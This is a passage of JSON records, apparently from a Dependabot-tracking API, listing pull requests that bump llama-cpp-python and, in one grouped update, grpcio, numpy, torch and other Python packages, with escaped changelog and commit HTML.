multimodal, add Qwen2.5-VL chat handler by \u003ca href=\"https://github.com/abetlen\"\u003e\u003ccode\u003e@​abetlen\u003c/code\u003e\u003c/a\u003e in cd548bd0f14210627798237d5c2ea78acfb88ccb\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.9]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@8733e0cf6eefc7c7752297cc22d0836706f4222c\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.8]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@7841fc723e059d1fd9640e5c0ef19050fcc7c698\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.7]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@794fe23f29fb40104975c91fe19f23798f7c726e\u003c/li\u003e\n\u003cli\u003efix(ci): Fix the CUDA workflow by \u003ca href=\"https://github.com/oobabooga\"\u003e\u003ccode\u003e@​oobabooga\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: error showing time spent in llama perf context print, adds \u003ccode\u003eno_perf\u003c/code\u003e flag to \u003ccode\u003eLlama\u003c/code\u003e class by \u003ca href=\"https://github.com/shakalaca\"\u003e\u003ccode\u003e@​shakalaca\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1898\"\u003e#1898\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.6]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@f7cd13301c2a88f97073fd119072b4cc92c08df1\u003c/li\u003e\n\u003cli\u003efix(server): streaming resource lock by \u003ca href=\"https://github.com/gjpower\"\u003e\u003ccode\u003e@​gjpower\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/1879\"\u003e#1879\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.2.90...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.2.90\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/mozilla/bugbug/pull/5231","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mozilla%2Fbugbug/issues/5231","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/5231/packages"},{"uuid":"2755185274","node_id":"PR_kwDOPJJIuM6kOMp6","number":11,"state":"open","title":"build(deps): bump llama-cpp-python from 0.3.13 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python:uv"],"assignees":[],"locked":false,"comments_count":0,"pull_request":true,"closed_at":null,"author_association":"NONE","state_reason":null,"created_at":"2025-08-19T05:05:39.000Z","updated_at":"2025-08-19T05:05:39.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.3.13","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.3.13 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.15]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@9a96389544a08fd829fccda28142ce2066017fde\u003c/li\u003e\n\u003cli\u003efeat: Add gpt-oss chat format support through strftime_now in chat format by \u003ca href=\"https://github.com/iamlemec\"\u003e\u003ccode\u003e@​iamlemec\u003c/code\u003e\u003c/a\u003e in af637928db7351e030011085f818b034c6efc047\u003c/li\u003e\n\u003cli\u003efix: rename op_offloat to op_offload in llama.py by \u003ca href=\"https://github.com/sergey21000\"\u003e\u003ccode\u003e@​sergey21000\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[0.3.14]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@79e0b68c178656bb0632cb8602d2940b755077f8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/dfc9bf503bb7d4be166410e525971509373bee0e\"\u003e\u003ccode\u003edfc9bf5\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/30ddd56e827e7fef6d5020809c574bdc0e166196\"\u003e\u003ccode\u003e30ddd56\u003c/code\u003e\u003c/a\u003e fix: rename op_offloat to op_offload in llama.py (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2046\"\u003e#2046\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/af637928db7351e030011085f818b034c6efc047\"\u003e\u003ccode\u003eaf63792\u003c/code\u003e\u003c/a\u003e feat: Add gpt-oss chat format support through strftime_now in chat format by ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/68e89e86c8135e865995d088ca7e5f4a38370c20\"\u003e\u003ccode\u003e68e89e8\u003c/code\u003e\u003c/a\u003e misc: Add Python 3.13 classifier tag\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d12ca479885bd530abf4543cd576b7eecb1b20e9\"\u003e\u003ccode\u003ed12ca47\u003c/code\u003e\u003c/a\u003e misc: Update pypi downloads badge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/4f260288ff0f34801f1c2ede975093201c8dcf4c\"\u003e\u003ccode\u003e4f26028\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/e1af05f43f57d2b660edfb77935dd2d2641ec602\"\u003e\u003ccode\u003ee1af05f\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/95292e36c6cef7430cff0bda16578fe9f7303e01\"\u003e\u003ccode\u003e95292e3\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.13...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=uv\u0026previous-version=0.3.13\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/atomwalk12/linalg-zero/pull/11","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/atomwalk12%2Flinalg-zero/issues/11","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/11/packages"},{"uuid":"3332497035","node_id":"PR_kwDOKApIvc6kM7cV","number":263,"state":"open","title":"chore(deps): bump llama-cpp-python from 0.3.15 to 0.3.16","user":"dependabot[bot]","labels":["dependencies","python"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":"CONTRIBUTOR","state_reason":null,"created_at":"2025-08-19T00:27:59.000Z","updated_at":"2025-08-19T00:32:16.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"llama-cpp-python","old_version":"0.3.15","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"}],"path":null,"ecosystem":"pip"},"body":"Bumps [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) from 0.3.15 to 0.3.16.\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.16]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@4227c9be4268ac844921b90f31595f81236bd317\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c37132bac860fcc333255c36313f89c4f49d4c8d\"\u003e\u003ccode\u003ec37132b\u003c/code\u003e\u003c/a\u003e chore: Bump version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/ce6fd8bbc808196dea90dd259bbcd4301c69b0b5\"\u003e\u003ccode\u003ece6fd8b\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.15...v0.3.16\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=llama-cpp-python\u0026package-manager=pip\u0026previous-version=0.3.15\u0026new-version=0.3.16)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/futuroptimist/token.place/pull/263","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/futuroptimist%2Ftoken.place/issues/263","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/263/packages"}],"issue_packages":[{"old_version":"0.3.21","new_version":"0.3.28","update_type":"patch","path":null,"pr_created_at":"2026-06-08T00:15:40.000Z","version_change":"0.3.21 → 0.3.28","issue":{"uuid":"4609186962","node_id":"PR_kwDOSR6pxs7jtnne","number":9,"state":"closed","title":"chore(deps)(deps): Bump the python-minor-and-patch group across 1 directory with 7 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-06-15T00:12:52.000Z","author_association":null,"state_reason":null,"created_at":"2026-06-08T00:15:40.000Z","updated_at":"2026-06-15T00:12:54.000Z","time_to_close":604632,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps): Bump","group_name":"python-minor-and-patch","update_count":7,"packages":[{"name":"grpcio","old_version":"1.80.0","new_version":"1.81.0","repository_url":"https://github.com/grpc/grpc"},{"name":"numpy","old_version":"2.4.4","new_version":"2.4.6","repository_url":"https://github.com/numpy/numpy"},{"name":"torch","old_version":"2.11.0","new_version":"2.12.0","repository_url":"https://github.com/pytorch/pytorch"},{"name":"onnxruntime","old_version":"1.25.1","new_version":"1.26.0","repository_url":"https://github.com/microsoft/onnxruntime"},{"name":"llama-cpp-python","old_version":"0.3.21","new_version":"0.3.28","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"ruff","old_version":"0.15.12","new_version":"0.15.16","repository_url":"https://github.com/astral-sh/ruff"},{"name":"ty","old_version":"0.0.34","new_version":"0.0.44","repository_url":"https://github.com/astral-sh/ty"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor-and-patch group with 7 updates in the /backend directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [grpcio](https://github.com/grpc/grpc) | `1.80.0` | `1.81.0` |\n| [numpy](https://github.com/numpy/numpy) | `2.4.4` | `2.4.6` |\n| [torch](https://github.com/pytorch/pytorch) | `2.11.0` | `2.12.0` |\n| [onnxruntime](https://github.com/microsoft/onnxruntime) | `1.25.1` | `1.26.0` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.3.21` | `0.3.28` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.15.12` | `0.15.16` |\n| [ty](https://github.com/astral-sh/ty) | `0.0.34` | `0.0.44` |\n\n\nUpdates `grpcio` from 1.80.0 to 1.81.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/grpc/grpc/releases\"\u003egrpcio's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.81.0\u003c/h2\u003e\n\u003cp\u003eThis is release 1.81.0 (\u003ca href=\"https://github.com/grpc/grpc/blob/master/doc/g_stands_for.md\"\u003egraphic\u003c/a\u003e) of gRPC Core.\u003c/p\u003e\n\u003cp\u003eFor gRPC documentation, see \u003ca href=\"https://grpc.io/\"\u003egrpc.io\u003c/a\u003e. For previous releases, see \u003ca href=\"https://github.com/grpc/grpc/releases\"\u003eReleases\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis release contains refinements, improvements, and bug fixes, with highlights listed below.\u003c/p\u003e\n\u003ch2\u003eCore\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[EventEngine] Fix a potential use-after-free error on Windows. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42078\"\u003e#42078\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[ssl] Server side handshaker factory stores a map of key signers. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42002\"\u003e#42002\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Core] Fix completion queue shutdown race on weak memory models (ARM). (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41510\"\u003e#41510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[EventEngine] Fix a Windows race that causes an assertion error. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41563\"\u003e#41563\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[grpc_error] enable error_flatten experiment in OSS. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41471\"\u003e#41471\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] Trim Python2 backward compatiblity syntax - removed (object) inheritance. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41708\"\u003e#41708\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eObjective-C\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[ObjC] Add receiveNextMessage to GRPCUnaryProtoCall. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42260\"\u003e#42260\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ePython\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Python] Add typing_extensions dep to aio Bazel target. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42001\"\u003e#42001\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] [Pyright] Part 1 - Pyright for src/python/grpcio/grpc/aio/_base_server.py. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42240\"\u003e#42240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] Drop 3.9. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/42145\"\u003e#42145\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] grpc-status: Relax protobuf dependency upper bound to allow 7.x. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41948\"\u003e#41948\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] [Typeguard] Part 5 - Add Typeguard SYNC Stack in tests. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/40278\"\u003e#40278\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] Remove GIL from ReceiveMessageOperation.un_c method. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41812\"\u003e#41812\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Python] Support observability in AsyncIO stack. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41573\"\u003e#41573\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRuby\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[Ruby] Drop support for EOL Ruby 3.1 and clean up. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41435\"\u003e#41435\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e[Ruby] Composed CallCredentials keep a reference to their source. (\u003ca href=\"https://redirect.github.com/grpc/grpc/pull/41782\"\u003e#41782\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRelease v1.81.0-pre1\u003c/h2\u003e\n\u003cp\u003eThis is a prerelease of gRPC Core 1.81.0 (graphic).\u003c/p\u003e\n\u003cp\u003eFor gRPC documentation, see \u003ca href=\"https://grpc.io/\"\u003egrpc.io\u003c/a\u003e. For previous releases, see \u003ca href=\"https://github.com/grpc/grpc/releases\"\u003eReleases\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis prerelease contains refinements, improvements, and bug fixes.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/8bdf11e5097abecbe6cffb70866625a0b8044948\"\u003e\u003ccode\u003e8bdf11e\u003c/code\u003e\u003c/a\u003e [Release] Bump version to 1.81.0 (on v1.81.x branch) (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42432\"\u003e#42432\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/0029e06771ad1b37bcd839d41c83d8abf327032c\"\u003e\u003ccode\u003e0029e06\u003c/code\u003e\u003c/a\u003e Move all gRPC Session classes to the experimental namespace (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42462\"\u003e#42462\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/1f1826830371ff4d945a7bd415055c5e90328483\"\u003e\u003ccode\u003e1f18268\u003c/code\u003e\u003c/a\u003e [CI] Fix Asan thread_stress_test error by reducing thread count (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42424\"\u003e#42424\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42\"\u003e#42\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/ee3fed7cd5d6091c506ba9a26db58a8efbd4048c\"\u003e\u003ccode\u003eee3fed7\u003c/code\u003e\u003c/a\u003e Backport MacOS fix cl/917004588 to v1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42441\"\u003e#42441\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/6244f3b59e2784b57f32b7fd3276d2e8eed630d1\"\u003e\u003ccode\u003e6244f3b\u003c/code\u003e\u003c/a\u003e [Release] Bump version to 1.81.0-pre1 (on v1.81.x branch) (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42378\"\u003e#42378\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/1108777e4cacba6f825ff9bdd9c6af0055c90955\"\u003e\u003ccode\u003e1108777\u003c/code\u003e\u003c/a\u003e [Release] Bump core version to 54.0.0 for upcoming release (\u003ca href=\"https://redirect.github.com/grpc/grpc/issues/42321\"\u003e#42321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/74940e8bc8b153cef9418e9cfffc670d5f67fb4e\"\u003e\u003ccode\u003e74940e8\u003c/code\u003e\u003c/a\u003e [fix] Add back the do-while loop that handles the TSI_RESULT correctly.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/5c6185c7c8e1cef5647ead8962ca4f8c76df9e15\"\u003e\u003ccode\u003e5c6185c\u003c/code\u003e\u003c/a\u003e [CHTTP2] Assert\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc/commit/51bc437364e1dd1bf87e288a5a31c70682fcdc8b\"\u003e\u003ccode\u003e51bc437\u003c/code\u003e\u003c/a\u003e Automated rollback of commit aab1eab78f9fcb3fc6e0aa9c8d7a59de280dbe3f.\u003c/li\u003e\n\u003cli\u003e\u003ca 